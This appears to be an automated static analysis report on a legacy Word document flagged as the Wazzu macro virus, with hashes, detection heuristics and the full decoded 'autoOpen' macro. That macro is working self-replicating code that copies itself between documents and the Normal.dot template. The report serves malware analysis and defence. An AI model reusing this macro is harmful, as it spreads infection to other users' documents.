Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 da0a3838cd3ff62e…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-07-09 11:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 340cc11f36254fea754370a4dbbce0f6 SHA-1: a7ed9d297e3af0f3fdb67ae7d30b046503ef3f36 SHA-256: da0a3838cd3ff62e21fc8bc2f7e9d6513a8ea36fa65f58b94fa7efdf0a546ce6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV and contains a legacy WordBasic auto-exec macro named 'autoOpen'. This macro is designed to copy itself to the global template (Normal.dot), which is a common technique for establishing persistence or ensuring the macro runs with subsequent document openings. No other malicious indicators were extracted from the document body or scripts.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1142 bytes
SHA-256: fb3bd655e2200df07fd94dd4cb7846338d5aa76676fef4c945f1f4cb6345db1a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"
Option Explicit


Public Sub MAIN()
Dim fichierMacro$
Dim globalMacro$
Dim MacroFichier$
    On Error GoTo -1: On Error GoTo erreuR
        
    WordBasic.FileSummaryInfo Update:=1
    Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
    WordBasic.CurValues.FileSummaryInfo dlg
    


    fichierMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
    globalMacro$ = "Global:autoOpen"
    MacroFichier$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If MacroFichier$ = "NORMAL.DOT" Then
        WordBasic.MacroCopy globalMacro$, fichierMacro$
        WordBasic.FileSaveAs Format:=1
    Else
        WordBasic.MacroCopy fichierMacro$, globalMacro$
    End If


GoTo fin
erreuR:

fin:
    On Error GoTo -1: On Error GoTo 0

End Sub